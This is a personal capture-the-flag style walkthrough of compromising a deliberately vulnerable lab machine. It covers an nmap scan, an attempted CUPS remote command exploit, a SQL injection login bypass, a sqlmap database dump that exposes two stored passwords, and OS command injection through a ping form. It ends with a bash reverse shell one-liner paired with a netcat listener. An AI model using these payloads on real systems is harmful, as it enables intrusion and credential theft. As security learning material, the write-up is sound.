

Netdiscover + nmap

```
(kali@kali)-[~]
$ nmap 10.0.2.5 -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-02 14:06 WET
Nmap scan report for 10.0.2.5
Host is up (0.00089s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 3.9p1 (protocol 1.99)
|_ ssh-hostkey:
|_   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|_   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_   1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_ sshv1: Server supports SSHv1
80/tcp    open  http         Apache httpd 2.0.52 ((CentOS))
|_ http-server-header: Apache/2.0.52 (CentOS)
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp   open  rpcbind      2 (RPC #100000)
|_ rpcinfo:
|_   program version    port/proto  service
|_   100000    2             111/tcp    rpcbind
|_   100000    2             111/udp    rpcbind
|_   100024    1             900/udp    status
|_   100024    1             903/tcp    status
443/tcp   open  ssl/https?
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2009-10-08T00:10:47
|_ Not valid after:  2010-10-08T00:10:47
|_ ssl-date: 2021-02-02T19:06:17+00:00; +4h59m59s from scanner time.
|_ sslv2:
|_   SSLv2 supported
|_   ciphers:
|_     SSL2_RC4_128_WITH_MD5
|_     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_     SSL2_DES_64_CBC_WITH_MD5
|_     SSL2_RC4_128_EXPORT40_WITH_MD5
|_     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_     SSL2_RC2_128_CBC_WITH_MD5
|_     SSL2_RC4_64_WITH_MD5
631/tcp   open  ipp          CUPS 1.1
|_ http-methods:
|_   Potentially risky methods: PUT
|_ http-server-header: CUPS/1.1
|_ http-title: 403 Forbidden
903/tcp   open  status       1 (RPC #100024)
3306/tcp  open  mysql        MySQL (unauthorized)

Host script results:
|_ clock-skew: 4h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.33 seconds
```

Wtf is cups 1.1? → Printers and stuff by Apple. Took me longer than expected, it's hard to google "cups" lol
MySQL (!!)

<https://www.exploit-db.com/exploits/41233> → CUPS < 2.0.3 - Remote Command Execution

```
python script.py <args>
-h, --help:          Show this message
-a, --rhost:         Target IP address
-b, --rport:         Target IPP service port
-c, --lib            /path/to/payload.so
-f, --stomp-only     Only stomp the ACL (no postex)

Examples:
python script.py -a 10.10.10.10 -b 631 -f
python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so
```

Searchsploit and run script...

python /usr/share/exploitdb/exploits/linux/remote/41233.py -a 10.0.2.5 -b 631

```
[*]      locate available printer
[-]      no printers
```

:(

Port 80:

Remote System Administration Login	
Username	<input type="text"/>
Password	<input type="password"/>
<input type="button" value="Login"/>	

this is most definitely vulnerable to SQLi

admin

' or 1=1--

Welcome to the Basic Administrative Web Console
Ping a Machine on the Network:

Anyway, let me try to dump the database...

sqlmap -u http://10.0.2.5/index.php --dump-all
--data "uname=admin" --level=5 --risk=3

great

1 | 5afac8d85f | admin

2 | 66lajGGbla | john

John returns a blank page

```
Database: webapp
Table: users
[2 entries]
+----+-----+-----+
| id | password | username |
+----+-----+-----+
| 1  | 5afac8d85f | admin |
| 2  | 66lajGGbla | john  |
+----+-----+-----+
```

Admin is the same as above

I DOWNLOADED THE OLD VERSION, THERE'S A BUG IN THIS ONE. AFTER DOWNLOADING THE CORRECT VERSION, THE ACTUAL WEB CONSOLE LOOKS LIKE THIS:

Welcome to the Basic Administrative Web Console	
Ping a Machine on the Network:	<input type="text"/> <input type="submit" value="submit"/>

"Google.com" results in an output similar to the ping command... let's try OS command injection
There we go! On to the reverse shell

google.com | pwd

/var/www/html

I can execute any command I want with ";" [command] "

I can browse to john's directory with ";" ls ../../../../home/john"

;bash -i >& /dev/tcp/10.0.2.15/1234 0>&1 on the input field and nc -nlvp 1234 on my machine would get me a shell.

For some reason, the web console wasn't working very well... I could not download or upload any files. I even followed several write ups and tutorials (some which used the same methods as me) and it still wouldn't work. I understood the process so for that reason I'm advancing to the next level.